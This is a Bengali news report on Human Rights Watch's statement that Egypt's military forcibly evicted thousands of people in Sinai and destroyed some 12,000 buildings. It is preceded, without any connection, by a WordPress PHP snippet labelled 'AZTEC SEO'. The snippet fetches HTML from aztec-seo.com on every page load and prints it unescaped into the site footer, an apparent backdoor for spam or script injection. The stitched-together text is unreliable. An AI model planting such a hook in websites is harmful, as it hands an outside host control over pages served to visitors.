/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
নিউ ইয়র্কভিত্তিক আন্তর্জাতিক মানবাধিকার সংগঠন হিউম্যান রাইটস ওয়াচ বলেছে, মিশরের সেনাবাহিনী অমানবিক ও জোরপূর্বক উচ্ছেদ অভিযান চালিয়েছে তা আন্তর্জাতিক মানবাধিকার আইনের লঙ্ঘন এবং সম্ভবত এটি যুদ্ধাপরাধের পর্যায়ে পড়ে।
সংগঠনটি বলেছে, মিশরের সামরিক বাহিনী সিনাই উপত্যকায় আইন বহির্ভূতভাবে হাজার হাজার মানুষকে উচ্ছেদ করেছে। এসব অভিযানের সময় তাদের ঘরবাড়ি, কৃষি খামার এবং জীবন-জীবিকা ধ্বংস করা হয়েছে।

হিউম্যান রাইটস ওয়াচের মধ্যপ্রাচ্য এবং উত্তর আফ্রিকা বিষয়ক উপ পরিচালক জো স্টর্ক আজ (বুধবার) এসব কথা বলেছেন। তিনি বলেন, এই উচ্ছেদ অভিযানের মধ্যদিয়ে মিশরের সরকারি কর্মকর্তাদের মানসিকতার বহিঃপ্রকাশ ঘটেছে। এর মধ্যদিয়ে এটি পরিষ্কার হয়েছে যে, মিশরের সরকার সিনাই উপত্যকার লোকজনের সঙ্গে ভালো আচরণ করে নি। অথচ সিনাই উপত্যকা হচ্ছে ওই এলাকার নিরাপত্তা এবং স্থিতিশীলতার জন্য খুবই গুরুত্বপূর্ণ।
এর আগে স্যাটেলাইটের ছবিতে থেকে দেখা গেছে যে, মিশরের সামরিক বাহিনী ১২ হাজার ভবন ধ্বংস করে দিয়েছে তার বেশিরভাগই বাসভবন। ২০১৩ সাল থেকে ২০২০ সালের মধ্যে এ ধ্বংসযজ্ঞ চালানো হয়। সূত্র : পার্সটুডে